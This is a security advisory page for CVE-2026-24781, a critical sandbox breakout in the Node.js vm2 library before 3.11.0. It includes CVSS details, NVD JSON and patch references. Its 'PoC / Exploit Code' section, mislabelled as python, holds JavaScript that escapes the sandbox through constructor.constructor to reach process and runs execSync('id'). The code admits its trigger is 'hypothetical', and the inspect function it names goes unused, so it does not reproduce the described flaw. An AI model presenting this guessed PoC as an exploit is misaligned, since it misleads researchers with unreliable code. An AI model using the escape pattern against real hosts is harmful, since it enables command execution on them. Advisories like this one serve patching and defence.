Security Vulnerability Report
中文
CVE-2026-24781 CVSS 9.8 CRITICAL

CVE-2026-24781

Published: 2026-05-04 17:16:22
Last Modified: 2026-05-08 19:29:32

Description

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.0.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:* - VULNERABLE
vm2 < 3.11.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const {VM} = require('vm2'); const vm = new VM(); // Conceptual PoC for CVE-2026-24781 // Exploiting the inspect function to break out of the sandbox const maliciousCode = ` (function() { try { // Attempting to trigger the vulnerability via inspect // This logic represents how an attacker might manipulate the inspect interface const obj = {}; // Hypothetical trigger point based on the vulnerability description const inspect = obj.inspect || function() {}; // Malicious payload aiming to escape const escape = function() { const Process = this.constructor.constructor('return process')(); return Process.mainModule.require('child_process').execSync('id').toString(); }; return escape.call(obj); } catch (e) { return e.message; } })(); `; console.log('Attempting to run exploit...'); try { const output = vm.run(maliciousCode); console.log('Exploit Output:', output); } catch (e) { console.error('Execution failed:', e); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24781", "sourceIdentifier": "[email protected]", "published": "2026-05-04T17:16:21.960", "lastModified": "2026-05-08T19:29:32.053", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-693"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "3.11.0", "matchCriteriaId": "6DD48308-6219-4C66-9BE7-246EE56FB834"}]}]}], "references": [{"url": "https://github.com/patriksimek/vm2/commit/8d30d93213c1898b3e035298b89a814970dd1189", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/patriksimek/vm2/commit/bdd3d15e57bc4ec5e70365cd79f7cb0256e5f88c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/patriksimek/vm2/commit/fd266d084e0a3322d0f71ba2a8dc4c96cd030228", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-v37h-5mfm-c47c", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}